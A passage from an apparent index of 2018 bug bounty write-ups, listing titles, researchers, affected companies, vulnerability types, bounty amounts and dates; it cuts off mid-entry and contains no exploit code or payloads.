[Facebook Business Takeover](https://philippeharewood.com/facebook-business-takeover/) | [Philippe Harewood](https://twitter.com/phwd) | Facebook |
Authorization flaw, Logic flaw | $27,500 | 10/09/2018
[Get as image function pulls any Insights/NRQL data from any New Relic account
(IDOR)](https://jonbottarini.com/2018/10/09/get-as-image-function-pulls-any-insights-nrql-data-from-any-new-relic-account-idor/) | [Jon Bottarini
(@jon_bottarini)](https://twitter.com/jon_bottarini) | New Relic | IDOR |
$2,500 | 10/09/2018
[DOM-XSS Bug Affecting Tinder, Shopify, Yelp, and
More](https://www.vpnmentor.com/blog/dom-xss-bug-affecting-tinder-shopify-yelp/) | [VPN Mentor (@vpnmentor)](https://twitter.com/vpnmentor) | Tinder |
DOM XSS | - | 10/09/2018
[Make any Unit in Facebook Groups
Undeletable](https://medium.com/bugbountywriteup/make-any-unit-in-facebook-groups-undeletable-efb68e26adb9) | [Sarmad Hassan
(@JubaBaghdad)](https://twitter.com/JubaBaghdad) | Facebook | Logic flaw,
IDOR, Authorization flaw | - | 10/09/2018
[[Critical] Bypass CSRF protection on
IBM](https://medium.com/bugbountywriteup/critical-bypass-csrf-protection-on-ibm-313ffb68dd0c) | [Mohamed Sayed
(@FlEx0Geek)](https://twitter.com/FlEx0Geek) | IBM | CSRF | - | 10/09/2018
[Persistent XSS (unvalidated Open Graph embed) at
LinkedIn.com](https://medium.com/@jonathanbouman/persistent-xss-unvalidated-open-graph-embed-at-linkedin-com-db6188acedd9) | [Jonathan Bouman
(@JonathanBouman)](https://twitter.com/JonathanBouman) | LinkedIn | Stored XSS
| $0, HoF | 10/07/2018
[My First 0day Exploit (CSP Bypass + Reflected XSS)
#BUGBOUNTY](https://medium.com/@alicanact60/my-first-0day-exploit-csp-bypass-reflected-xss-bugbounty-c7efa4bed3d7) | [ Ali
Tütüncü(@alicanact60)](https://twitter.com/alicanact60) | - | Reflected XSS,
CSP bypass | - | 10/07/2018
[ Blind XML External Entities Out-Of-Band Channel Vulnerability : PayPal Case
Study](https://r00thunt.com/2018/10/05/blind-xml-external-entities-out-of-band-channel-vulnerability-paypal-case-study/) | Abdelmoughite Eljoaydi |
Paypal | Blind XXE | - | 10/05/2018
[Clickjacking in Google Docs and Voice typing
feature.](https://medium.com/@raushanraj_65039/clickjacking-in-google-docs-and-voice-typing-feature-c481d00b020a) | [Raushan Raj
(@raushan_rajj)](https://twitter.com/raushan_rajj) | Google | Clickjacking |
$2,337 | 10/05/2018
[GoogleMeetRoulette: Joining random
meetings](https://www.martinvigo.com/googlemeetroulette/) | [Martin Vigo
(@martin_vigo)](https://twitter.com/martin_vigo) | Google | Bruteforce, Logic
flaw | - | 10/04/2018
[An interesting Google vulnerability that got me 3133.7
reward.](http://www.sec-down.com/wordpress/?p=809) | [Ebrahem Hegazy
(@Zigoo0)](https://twitter.com/Zigoo0) | Google | CSRF | $3,133.7 | 10/04/2018
[Persistent XSS (Unvalidated oEmbed) at
Medium.com](https://medium.com/@jonathanbouman/stored-xss-unvalidated-embed-at-medium-com-528b0d6d4982) | [Jonathan Bouman
(@JonathanBouman)](https://twitter.com/JonathanBouman) | Medium | Stored XSS |
$100 | 10/04/2018
[Exploiting an unknown
vulnerability](https://medium.com/bugbountywriteup/exploiting-an-unknown-vulnerability-a752272ffd7f) | [Abhishek Bundela
(@abhibundela)](https://twitter.com/abhibundela) | - | Logic flaw, Payment
tampering | - | 10/03/2018
[Facebook Bug Bounty: Email Id, Phone Number Can be exposed Through Business
Manager](https://medium.com/@rohitcoder/email-id-phone-number-can-be-exposed-through-business-manager-e79b970ea288) | [Rohit kumar
(@rohitcoder)](https://twitter.com/rohitcoder) | Facebook | Logic flaw,
Information disclosure | $3,000 | 10/03/2018
[AWS takeover through SSRF in JavaScript](http://10degres.net/aws-takeover-ssrf-javascript/) | [Gwendal Le Coguic
(@gwendallecoguic)](https://twitter.com/gwendallecoguic) | - | SSRF | - |
10/02/2018
[Applying a small bypass to steal Facebook Session tokens in
Uber](https://medium.com/@saamux/applying-a-small-bypass-to-steal-facebook-session-tokens-in-uber-5b9638b7a18c) | [Samuel
(@saamux)](https://twitter.com/saamux) | Uber | XSS, CSP bypass, OAuth flaw |
- | 10/02/2018
[How i found Stored xss on your-domain.redacted.com](https://rudr4sarkar.blogspot.com/2018/10/how-i-found-stored-xss-on-your.html) | [Rudra Sarkar
(@rudr4_sarkar)](https://twitter.com/rudr4_sarkar) | - | XSS | $0 | 10/02/2018
[Collecting Shells by the Sea of NAS
Vulnerabilities](https://blog.securityevaluators.com/collecting-shells-by-the-sea-of-nas-vulnerabilities-155a0bd7c525) | [Rick Ramgattie
(@RRamgattie)](https://twitter.com/RRamgattie) | Lenovo | OS command
injection, XSS, CSRF | - | 10/01/2018
[Subdomain Takeover via Shopify Vendor ( blog.exchangemarketplace.com ) with
Steps](https://www.mohamedharon.com/2018/10/subdomain-takeover-via-shopify-vendor.html) | [Mohamed Haron (@m7mdharon)](https://twitter.com/m7mdharon) |
Shopify | Subdomain takeover | - | 10/01/2018 | [Archived
content](/assets/img/list-of-bug-bounty-writeups/Web-archives/e8f8007e4540754305fc6bca734cf889.jpg)
[Google Stored XSS in Payments](https://medium.com/@brs.sgdc/google-stored-xss-in-payments-350cd7ba0d1b) | [Barış Sağdıç
(@brsgdc)](https://twitter.com/brsgdc) | Google | Stored XSS | - | 10/01/2018
[How I was able to takeover account’s of an Earning
App](https://medium.com/@alexali5080/how-i-was-able-to-takeover-accounts-of-an-earning-app-c22d07d8ce9) | Abbas Wafa | - | Information disclosure | $0 |
10/01/2018
[Hacking the Subway Android app](https://ls-la.fyi/2018/09/28/subway-xposed/)
| [Wesley Gahr (@wesley_gahr)](https://twitter.com/wesley_gahr) | Subway |
Logic flaw, Authorization flaw | - | 09/28/2018
[IDOR, Content Spoofing and Url Redirection via unsubscribe email in
Confluent](https://medium.com/@justmorpheus/idor-content-spoofing-and-url-redirection-via-unsubscribe-email-in-confluent-1fa7398cfe7a) | Divyanshu
Shukla | Confluent | IDOR, Content spoofing, Open redirect | - | 09/28/2018
[Just another tale of severe bugs on a private
program.](https://medium.com/@sivakrishnasamireddi/just-another-tale-of-severe-bugs-on-a-private-program-405870b03532) | [Siva Krishna Samireddi
(@le4rner)](https://twitter.com/le4rner) | - | Open redirect, SSRF, IDOR,
Logic flaw | $1,623 | 09/28/2018
[#BugBounty — From finding Jenkins instance to Command Execution.Secure your
Jenkins Instance!](https://medium.com/@logicbomb_1/bugbounty-from-finding-jenkins-instance-to-command-execution-secure-your-jenkins-instance-9bd1e75c2288) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | - | RCE, Exposed Jenkins
instance | - | 09/27/2018
[Thick Client — Attacking databases the fun/easy
way](https://medium.com/@mantissts/thick-client-attacking-databases-the-fun-easy-way-6e31162b1335) | Richard Clifford | - | Thick client flaw, Credentials
sent over unencrypted channel | - | 09/26/2018
[Arbitrary File Read in one of the largest
CRMs](https://medium.com/@mantissts/arbitrary-file-read-in-one-of-the-largest-crms-658caa2f05d2) | Richard Clifford | - | LFI | - | 09/26/2018
[[XSS] survey.dropbox.com](https://www.kumar.ninja/2018/09/xss-surveydropboxcom.html) | Kumar | Dropbox | XSS | $0 | 09/25/2018
[Weaponizing XSS Attacking Internal
System](https://medium.com/@rahulraveendran06/weaponizing-xss-attacking-internal-domains-d8ba1cbd106d) | Rahul R | - | Blind XSS | - | 09/25/2018
[Subdomain Takeover via Unsecured S3 Bucket Connected to the
Website](https://blog.securitybreached.org/2018/09/24/subdomain-takeover-via-unsecured-s3-bucket/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47) | - | Subdomain
takeover | - | 09/24/2018
[Responsible disclosure: retrieving a user’s private Facebook
friends.](https://rpadovani.com/facebook-responsible-disclosure) | [Riccardo
Padovani (@rpadovani93)](https://twitter.com/rpadovani93) | Facebook | Logic
flaw, Authorization flaw, Information disclosure | 3,000 | 09/23/2018
[How I XSS’ed Uber and Bypassed CSP](https://medium.com/@efkan162/how-i-xssed-uber-and-bypassed-csp-9ae52404f4c5) | [Efkan
(@mefkansec)](https://twitter.com/mefkansec) | Uber | Reflected XSS | 2,000 |
09/22/2018
[R-XSS -> CSRF bypass to account takeover/](https://nirmaldahal.com.np/r-xss-csrf-bypass-to-account-takeover/) | [Nirmal Dahal
(@TheNittam)](https://twitter.com/TheNittam) | - | Reflected XSS, CSRF bypass
| - | 09/21/2018
[Bypassing Firebase authorization to create custom goo.gl
subdomains](https://blog.thomasorlita.cz/vulns/bypassing-firebase-authorization-to-create-custom-goo-gl-subdomains/) | [Thomas Orlita
(@ThomasOrlita)](https://twitter.com/ThomasOrlita) | Google | Logic flaw, IDOR
| - | 09/21/2018
[Another XSS in Google
Colaboratory](https://blog.bentkowski.info/2018/09/another-xss-in-google-colaboratory.html) | [Michał Bentkowski](https://twitter.com/securitymb) |
Google | XSS | - | 09/20/2018
[Shopify Athena
Bug](https://sites.google.com/securifyinc.com/secblogs/shopify-athena-bug) |
[Uranium238 (@uraniumhacker)](https://twitter.com/uraniumhacker) | Shopify |
Authorization flaw, Information disclosure | - | 09/20/2018
[Local file inclusion at IKEA.com](https://medium.com/@jonathanbouman/local-file-inclusion-at-ikea-com-e695ed64d82f) | [Jonathan Bouman
(@JonathanBouman)](https://twitter.com/JonathanBouman) | Ikea | LFI | $250 |
09/19/2018
[Bypassing Authentication Using Javascript
Debugger.](https://mohitdabas.wordpress.com/2018/09/18/bypassing-authentication-using-javascript-debugger/) | [Mohit Dabas
(@mohitdabas08)](https://twitter.com/mohitdabas08) | - | Authentication bypass
| - | 09/18/2018
[How i bypassed AKAMAI KONA WAF , XSS in overstock.com
!](https://medium.com/@0ktavandi/how-i-bypassed-akamai-kona-waf-xss-in-overstock-com-f205b0e71a0d) | [Oktavandi
(@0ktavandi)](https://twitter.com/0ktavandi) | Overstock.com | XSS | - |
09/18/2018
[Facebook $750 Reward for a Simple
Bug](https://bugbounty.blog/2018/09/18/facebook-750-reward-for-a-simple-bug//)
| [Aman Shahid (@amansmughal)](https://twitter.com/amansmughal) | Facebook |
Authentication bypass, Logic flaw | $750 | 09/18/2018
[Chain The Bugs to Pwn an Organisation ( LFI + Unrestricted File Upload =
Remote Code Execution )](https://medium.com/@armaanpathan/chain-the-bugs-to-pwn-an-organisation-lfi-unrestricted-file-upload-remote-code-execution-93dfa78ecce) | [Armaan Pathan
(@armaancrockroax)](https://twitter.com/armaancrockroax) | - | LFI,
Unrestricted File Upload, RCE | - | 09/18/2018
[Reflected XSS at Philips.com](https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c) | [Jonathan Bouman
(@JonathanBouman)](https://twitter.com/JonathanBouman) | Philips | Reflected
XSS | - | 09/17/2018
[XSS Vulnerabilities in Multiple iFrame Busters Affecting Top Tier
Sites](https://randywestergren.com/xss-vulnerabilities-in-multiple-iframe-busters-affecting-top-tier-sites/) | [Randy Westergren
(@RandyWestergren)](https://twitter.com/RandyWestergren) | Google | XSS | $0 |
09/17/2018
[Vertical escalation of privileges Leading to Sensitive Data
Exposure](https://medium.com/@umairahmedofficial1/vertical-escalation-of-privileges-leading-to-sensitive-data-exposure-a9b53e4ab61e) | [Umair Ahmed
(@u_ahmedofficial)](https://twitter.com/u_ahmedofficial) | - | Bruteforce,
IDOR, Authorization flaw | - | 09/16/2018
[User Account takeover in India’s largest digital business
company](https://medium.com/bugbountywriteup/user-account-takeover-in-indias-largest-digital-business-company-c7b6d61dadb9) | [Minali Arora
(@AroraMinali)](https://twitter.com/AroraMinali) | - | Account takeover, OTP
bypass | - | 09/16/2018
[IDOR User Account Takeover By Connecting My Facebook Account with victims
Account](https://blog.securitybreached.org/2018/09/16/idor-account-takeover-using-facebook/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47) | Facebook | IDOR |
$1,200 | 09/16/2018
[Persistent Cross-Site Scripting on redacted worth
$2,000](https://medium.com/@protector47/persistent-cross-site-scripting-on-redacted-worth-2-000-1e760617ccab) | M.Asim Shahzad | - | Stored XSS | $2,000
| 09/15/2018
[How I hijacked your account when you opened my cat
picture](https://medium.com/intigriti/how-i-hijacked-your-account-when-you-opened-my-cat-picture-9a0a0acca9e8) | [Matti Bijnens
(@MattiBijnens)](https://twitter.com/MattiBijnens) | - | Logout CSRF | - |
09/14/2018
[Hacking your own antivirus for fun and profit (Safe browsing gone
wrong)](https://medium.com/@Mthirup/hacking-your-own-antivirus-for-fun-and-profit-safe-browsing-gone-wrong-365db9d1d3f7) | [Martin Thirup Christensen
(@Mthirup)](https://twitter.com/Mthirup) | Bullguard | Reflected XSS | $0 |
09/14/2018
[Subdomain Takeover worth 200$](https://medium.com/@alirazzaq/subdomain-takeover-worth-200-ed73f0a58ffe) | [Ali Razzaq
(@AliRazzaq_)](https://twitter.com/AliRazzaq_) | Netlify | Subdomain takeover
| $200 | 09/14/2018
[Reflected DOM XSS and CLICKJACKING on
https://silvergoldbull.de/bt.html](https://medium.com/@maxon3/reflected-dom-xss-and-clickjacking-on-https-silvergoldbull-de-bt-html-daa36bdf7bf0) |
[Daniel Maksimovic](https://www.linkedin.com/in/daniel-maksimovic-73537882/) |
Silver Gold Bull | DOM XSS, Clickjacking | - | 09/13/2018
[Subdomain Takeover via
Campaignmonitor](https://www.mohamedharon.com/2018/09/subdomain-takeover-via-campaignmonitor.html) | [Mohamed Haron
(@m7mdharon)](https://twitter.com/m7mdharon) | Campaign Monitor | Subdomain
Takeover | $900 | 09/11/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/8bd0cc2d37245ec4db8b527b6e4af69d.jpg)
[Open-Redirect Vulnerability in udacity.com](https://medium.com/@aniltom/open-redirect-vulnerability-in-udacity-com-7cba7abcfd48) | Anil Tom | Udacity |
Open redirect | $0, Swag | 09/11/2018
[Hacking a Crypto Debit Card Service](https://medium.com/@mahitman1/hacking-a-crypto-debit-card-service-730f287aaee7) | [Muhammad
Abdullah](https://twitter.com/mahitman1) | Plutus | SQL injection | - |
09/11/2018
[XXE at Bol.com](https://medium.com/@jonathanbouman/xxe-at-bol-com-7d331186de54) | [Jonathan Bouman
(@JonathanBouman)](https://twitter.com/JonathanBouman) | Bol.com | XXE | $500
(voucher) | 09/11/2018
[How to do 55.000+ Subdomain Takeover in a Blink of an
Eye](https://medium.com/@thebuckhacker/how-to-do-55-000-subdomain-takeover-in-a-blink-of-an-eye-a94954c3fc75) | [BuckHacker
(@thebuckhacker)](https://twitter.com/thebuckhacker) | Shopify | Subdomain
takeover | - | 09/10/2018
[Authentication Bypass Using SQL Injection AutoTrader Webmail – Bug Bounty
POC](https://blog.securitybreached.org/2018/09/10/sqli-login-bypass-autotraders/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47) | AutoTrader | SQL
injection | - | 09/10/2018
[Stored XSS Vulnerability in H1C Private
site](https://www.hackerinside.me/2018/09/stored-xss-vulnerability-in-h1c-private.html) | [Anas Mahmood
(@AnasIsHere)](https://www.facebook.com/AnasIsHere) | - | Stored XSS | $900 |
09/09/2018
[Making the Facebook app more secure - $8500 bounty](https://ash-king.co.uk/facebook-bug-bounty-09-18.html) | [Ash
King](https://www.facebook.com/Ashley.King.UK) | Facebook | Open redirect |
$8,500 | 09/09/2018
[ZOL Zimbabwe Authentication Bypass to XSS & SQLi Vulnerability – Bug Bounty
POC](https://blog.securitybreached.org/2018/09/09/zol-zimbabwe-authbypass-sqli-xss/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47) | ZOL Zimbabwe | XSS,
SQL injection | - | 09/09/2018
[How I find Open-Redirect Vulnerability in redacted.com (One of the top online
payment processing service website)](https://medium.com/@protector47/how-i-find-open-redirect-vulnerability-in-redacted-com-one-of-the-top-payment-gateway-e9b92afdc114) | M.Asim Shahzad | - | Open redirect | - | 09/09/2018
[Disclosure of Facebook Page Admin due to insecure tagging
behavior](https://medium.com/@ajdumanhug/disclosure-of-facebook-page-admin-due-to-insecure-tagging-behavior-24ff09de5c29) | [ Aj Dumanhug
(@ajdumanhug)](https://twitter.com/ajdumanhug) | Facebook | Information
disclosure, Logic flaw | - | 09/09/2018
[Stored XSS Vulnerability in
Tumblr](https://www.hackerinside.me/2018/09/stored-xss-vulnerability-in-tumblr.html) | [Anas Mahmood (@AnasIsHere)](https://twitter.com/AnasIsHere) |
Tumblr | Stored XSS | $1,000 | 09/08/2018
[Reflected XSS in Google Code
Jam](https://blog.thomasorlita.cz/vulns/reflected-xss-in-google-code-jam/) |
[Thomas Orlita (@ThomasOrlita)](https://twitter.com/ThomasOrlita) | Google |
Reflected XSS | - | 09/08/2018
[SQL Injection Vulnerability bootcamp.nutanix.com | Bug Bounty
POC](https://blog.securitybreached.org/2018/09/08/sqli-bootcampnutanix-com-bug-bounty-poc/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47) | Nutanix | SQL
injection | $0, Swag | 09/08/2018
[Bypassing Hotstar Premium with DOM manipulation and some
JavaScript](https://opsecx.com/index.php/2018/09/07/bypassing-hotstar-premium-with-dom-manipulation-and-some-javascript/?u-rd) |
[OpSecX](https://twitter.com/OpSecX) | Hotstar | Logic flaw, Payment bypas |
$0 | 09/07/2018
[RCE Unsecure Jenkins Instance | Bug Bounty
POC](https://blog.securitybreached.org/2018/09/07/rce-jenkins-instance-dosomething-org-bug-bounty-poc/) | [Muhammad Khizer Javed / babayaga47
(@khizer_javed47)](https://twitter.com/khizer_javed47) | - | RCE | $0 |
09/07/2018
[Write-up - Love story, from closed as informative to $3,500 USD, XSS stored
in Yahoo! iOS MaiL app](http://omespino.com/write-up-lovestory-from-closed-as-informative-to-xx00-usd-in-yahoo-ios-mail-app/) |
[@omespino](https://twitter.com/omespino) | Yahoo! | Stored XSS | $3,500 |
09/07/2018
[Simple Login Brute Force / Current Password Requirement
Bypass](https://medium.com/@ciph3r7r0ll/simple-login-brute-force-current-password-requirement-bypass-e8f58931e257) | [Mandeep Jadon
(@1337tr0lls)](https://twitter.com/1337tr0lls) | - | IDOR, Account takeover,
Bruteforce | - | 09/07/2018
[#BugBounty — How Naaptol (India’s popular home shopping company) Kept their
Millions of User Data at Risk!](https://medium.com/@logicbomb_1/bugbounty-how-naaptol-indias-popular-home-shopping-company-kept-their-millions-of-user-data-e414cd4151c) | [Avinash Jain
(@logicbomb_1)](https://twitter.com/logicbomb_1) | Naaptol | IDOR | - |
09/07/2018
[How I could download the source code of an Indian e-commerce
website!!](https://medium.com/@aroraminali21/how-i-could-download-the-source-code-of-an-indian-e-commerce-website-30cb8310b6e4) | [Minali Arora
(@AroraMinali)](https://twitter.com/AroraMinali) | - | File disclosure, Source
code disclosure | - | 09/05/2018
[P1 Vulnerability in 60
seconds](https://medium.com/@Wh11teW0lf/p1-vulnerability-in-60-seconds-85ef93d42b99) | @Wh11teW0lf | - | Information disclosure, File
disclosure | $1,500 | 09/05/2018
[Facebook Bug Bounty! {Permission
Bug}](https://medium.com/@alicanact60/facebook-bug-bounty-permission-bug-19c9358d2297) | [ Ali
Tütüncü(@alicanact60)](https://twitter.com/alicanact60) | Facebook |
Authorization flaw, Logic flaw | $750 | 09/05/2018
[Admin Disclosure of Facebook Business all Pages by normal
employees:](https://medium.com/@k4m4l/admin-disclosure-of-facebook-business-all-pages-by-normal-employees-815c214e89c9) | Kamal | Facebook | Information
disclosure | $0 | 09/02/2018
[How I could have launched a spear phishing campaign with Starbucks email
servers](https://b3nac.github.io/bugs/2018/09/01/How-I-could-have-launched-a-spear-phishing-campaign-with-Starbucks-newsletter-signup.html) | [Kyle
(@b3nac)](https://www.twitter.com/b3nac) | Starbucks | Host header injection |
$150 | 09/01/2018
[ Send request to Martians. Earthlings are already your friends.
](https://www.sagarvd.me/2018/09/youtube-csrf.html) | [Sagar
VD](https://plus.google.com/108501397437978710758) | Google | CSRF | - |
09/01/2018
[I Own Your Customers !!!](https://medium.com/@mahitman1/i-own-your-customers-22e965761abd) | [Muhammad Abdullah](https://twitter.com/mahitman1) |
- | Information disclosure, Hardcoded credentials, AWS flaw | - | 09/01/2018
[Pwned Together: Hacking dev.to](https://dev.to/antogarand/pwned-together-hacking-devto-hkd) | [Antony Garand](https://twitter.com/AntoGarand) | Dev.to
| Stored XSS | $150, HoF | 08/31/2018
[$100 Bounty in 300 seconds isn’t bad
!!!](https://medium.com/@rohanchavan/100-bounty-in-300-seconds-isnt-bad-4f4112c102ef) | [Rohan Chavan
(@rohanchavan1918)](https://twitter.com/rohanchavan1918) | Zoho | Stored XSS |
$100, HoF | 08/31/2018
[Reflected XSS in Django REST Framework Api at MapBox
Subdomain](https://www.mohamedharon.com/2018/08/mapboxxss.html) | [Mohamed
Haron (@m7mdharon)](https://twitter.com/m7mdharon) | Mapbox | Reflected XSS |
$500 | 08/29/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/77419702b65e5d516cb9a8e13530958c.jpg)
[Finding hidden gems vol. 2: REAMDE.md, the story of a bit too helpful readme
file](https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-2-reamde-md-the-story-of-a-bit-too-helpful-readme-file-12d6bb51e77f) | [Mateusz
Olejarka](https://twitter.com/molejarka) | - | Information disclosure, Github
leak | $0 | 08/29/2018
[A Infinite Loop Story.](https://medium.com/@D0rkerDevil/a-infinite-loop-story-f2bc05771a88) | [Ashish Kunwar
(@D0rkerDevil)](https://twitter.com/D0rkerDevil) | - | DoS | $100 | 08/29/2018
[Reflected Swf XSS at ( https://plugins.svn.wordpress.org
)](https://www.mohamedharon.com/2018/08/wordpressXSS.html) | [Mohamed Haron
(@m7mdharon)](https://twitter.com/m7mdharon) | Wordpress | Swf XSS, Reflected
XSS | $350 | 08/28/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/76e0cc50276a43cefdf03ec66dcf62bd.jpg)
[How i found a 1500$ worth Deserialization
vulnerability](https://medium.com/@D0rkerDevil/how-i-found-a-1500-worth-deserialization-vulnerability-9ce753416e0a) | [Ashish Kunwar
(@D0rkerDevil)](https://twitter.com/D0rkerDevil) | - | Misconfigured JSF
ViewState, Java deserialization | $1,500 | 08/28/2018
[IDOR FACEBOOK: malicious person add people to the “Top
Fans”](https://medium.com/@UpdateLap/idor-facebook-malicious-person-add-people-to-the-top-fans-4f1887aad85a) | [Jafar Abo
Nada](https://twitter.com/UpdateLap) | Facebook | IDOR | - | 08/28/2018
[Traversing the Path to RCE](https://hawkinsecurity.com/2018/08/27/traversing-the-path-to-rce/) | hawkinsecurity | - | Path traversal, RCE | $0 | 08/27/2018
[Uber Bug Bounty: 1000$ for two “high severity”
issue](https://medium.com/@mr.poche/uber-bug-bounty-1000-for-two-high-severity-issue-ca22e5ab52be) | Peuch | Uber | Information disclosure, Github
leak | $1,000 | 08/27/2018
[Open Redirection](https://medium.com/@ninzatester/open-redirection-afe6c1a64484) | negative Wibes | Pleio | Open redirection | - | 08/26/2018
[My first valid xss(@Hackerone)](https://medium.com/@nandwanajatin25/my-first-valid-xss-hackerone-f8ba0a7c647) | Jatin Aesthetic | - | XSS | $100 |
08/25/2018
[Remote Code Execution on a Facebook
server](https://blog.scrt.ch/2018/08/24/remote-code-execution-on-a-facebook-server/) | [Daniel Le Gall](https://twitter.com/Blaklis_) | Facebook | RCE |
$5,000 | 08/24/2018
[Privileged Escalation in Facebook Messenger
Rooms](https://medium.com/@UpdateLap/privileged-escalation-in-facebook-messenger-rooms-e71cb7275101) | [Jafar Abo
Nada](https://twitter.com/UpdateLap) | Facebook | Privilege escalation, IDOR |
- | 08/24/2018
[SQL Injection Vulnerability In University Of
Cambridge](https://medium.com/@adeshkolte/sql-injection-vulnerability-in-university-of-cambridge-b4c8d0381e1) | [Adesh Kolte
(@AdeshKolte)](https://twitter.com/AdeshKolte) | Cambridge | SQL injection | -| 08/24/2018
[Liking GitHub repositories on behalf of other users — Stored XSS in
WebComponents.org](https://blog.thomasorlita.cz/vulns/stored-xss-in-webcomponents-org/) | [Thomas Orlita
(@ThomasOrlita)](https://twitter.com/ThomasOrlita) | Webcomponents.org |
Stored XSS | - | 08/23/2018
[API key: The real goldmine](https://medium.com/@YumiSec/api-key-the-real-goldmine-84490a56b7c4) | Yumi | - | Information disclosure | - | 08/19/2018
[User credential are sent in clear text in Whatsapp web— FIXED | Facebook Bug
Bounty](https://medium.com/@Thuva11/user-credentials-are-sent-in-clear-text-fixed-facebook-bug-bounty-7f1e05ecedd9) | Thuvarakan Nakarajah | Facebook
(WhatsApp) | Credentials sent over HTTP | - | 08/18/2018
[YAHOO IDOR -elimination of any comment](https://medium.com/@black_b/yahoo-idor-elimination-of-any-comment-e898f4f955f1) | [Bada Diaz
(@bada77)](https://twitter.com/bada_77) | Yahoo | IDOR | - | 08/17/2018
[3 Minutes & XSS!](https://medium.com/bugbountywriteup/3-minutes-xss-71e3340ad66b) | Ashish Jha | Edmodo | XSS | - | 08/17/2018
[IDOR leads to account takeover](https://s0cket7.com/idor-account-takeover/) |
[@s0cket7](https://twitter.com/s0cket7) | - | IDOR | - | 08/16/2018
[ICloud.com DOM-Based XSS!
#BugBounty](https://medium.com/@musabalhussein/icloud-com-dom-based-xss-bugbounty-6f88cb865b18) | Musab Alhussein | Apple | DOM XSS | $0, HOF |
08/14/2018
[Another “TicketTrick”
story](https://sites.google.com/securifyinc.com/secblogs/uber-business-support-bug) | [Uranium238
(@uraniumhacker)](https://twitter.com/uraniumhacker) | Uber | Logic flaw,
TicketTrick | - | 08/14/2018
[XSS at Hubspot and XSS in email areas.](https://medium.com/@friendly_/xss-at-hubspot-and-xss-in-email-areas-674fa39d5248) | [Friendly
(@SkeletorKeys)](https://twitter.com/Skeletorkeys) | Hubspot, [Private
program] | XSS | $450 | 08/13/2018
[IDOR leads to getting Access tokens of users linked to Google Drive on
Edmodo](https://medium.com/bugbountywriteup/idor-leads-to-getting-access-tokens-of-users-linked-to-google-drive-on-edmodo-3978017134bd ) | [Aagam shah
(@neutrinoguy)](https://twitter.com/neutrinoguy) | Edmodo | IDOR | - |
08/12/2018
[Distorted and Undeletable Posts in Facebook
Group](https://medium.com/bugbountywriteup/distorted-and-undeletable-posts-in-facebook-group-9424e15f5551) | [Sarmad Hassan
(@JubaBaghdad)](https://twitter.com/JubaBaghdad) | Facebook | Authorization
flaw, Logic flaw | - | 08/12/2018
[How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration
System](http://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html) | [Orange Tsai
(@orange_8361)](https://twitter.com/orange_8361) | Amazon | RCE | - |
08/11/2018
[S3 Bucket Misconfiguration in
Amazon](https://medium.com/@justmorpheus/s3-bucket-misconfiguration-in-amazon-a7da6a6e02ea) | Divyanshu Shukla | Amazon | AWS flaw | $0 | 08/11/2018
[Adminer Script Results to Pwning Server?, Private Bug Bounty
Program](https://medium.com/bugbountywriteup/adminer-script-results-to-pwning-server-private-bug-bounty-program-fe6d8a43fe6f) |
[Yasho](https://twitter.com/YShahinzadeh) | - | Authentication bypass | - |
08/11/2018
[Misconfigured JIRA setting -Apigee](https://www.tutorgeeks.net/2018/08/misconfigured-jira-setting-apigee.html) | Tutorgeeks | Google, Jira | Information disclosure | - |
08/10/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/72c6db5bbaff07fe5fc40b7c0b4aaf5b.jpg)
[[Twitter Bug Bounty] Misconfigured JSON endpoint on ads.twitter.com lead to
Access control issue and Information Disclosure of role privileged
users.](https://medium.com/@zk34911/twitter-bug-bounty-misconfigured-json-endpoint-on-ads-twitter-com-2771ec83a82) | [Peerzada Fawaz Ahmad Qureshi
(@zk34911)](https://twitter.com/zk34911) | Twitter | Authorization flaw,
Information disclosure | $280 | 08/10/2018
[Subdomain Takeover: Yet another Starbucks
case](https://0xpatrik.com/subdomain-takeover-starbucks-ii/) | [Patrik
Hudak](https://twitter.com/0xpatrik) | Starbucks | Subdomain takeover | $2,000
| 08/09/2018
[From TOMCAT to NT AUTHORITY\SYSTEM](https://medium.com/bugbountywriteup/from-tomcat-to-nt-authority-system-a79fa09c4abb) | Rahul R | - | Default
credentials | - | 08/09/2018
[My Disclosed Report about Basic auth Api details at
Reverb.com](https://www.mohamedharon.com/2018/08/reverb-api.html) | [Mohamed
Haron (@m7mdharon)](https://twitter.com/m7mdharon) | Reverb | Information
disclosure | $100 | 08/09/2018 | [Archived content](/assets/img/list-of-bug-bounty-writeups/Web-archives/b9ce4969084639afe2fd29d967424b85.jpg)
[This is how can I spoof ANY Sentry.Io log infinitely and create fake error-logs](https://medium.com/@carlosdanielgiovanella/this-is-how-can-i-spoof-any-sentry-log-infinitely-and-create-fake-error-logs-74406367f4ba) | Carlos Daniel
Giovanella | HackerOne, Sentry | Logs flooding and falsification | $0 |
08/09/2018
[My First Critical Report](https://medium.com/mcorral74/my-first-critical-report-9ceeb15f20c3) | [Miguel Corral
(@mcorral74)](https://twitter.com/@mcorral74) | - | Password reset flaw,
Account takeover | $2,500 | 08/08/2018
[How I hacked a Crypto Exchange (Bug Bounty
Writeup)](https://steemit.com/cryptocurrency/@mabdullah22/how-i-hacked-a-crypto-exchange-bug-bounty-writeup) | [Muhammad
Abdullah](https://twitter.com/mahitman1) | - | IDOR | - | 08/07/2018
[From data leak to account takeover](https://dev.to/antogarand/from-data-leak-to-account-takeover-1kck) | [Antony Garand](https://twitter.com/AntoGarand) |
- | Account takeover, Information disclosure, Password reset flaw | - |
08/07/2018
[How I gained commit access to Homebrew in 30
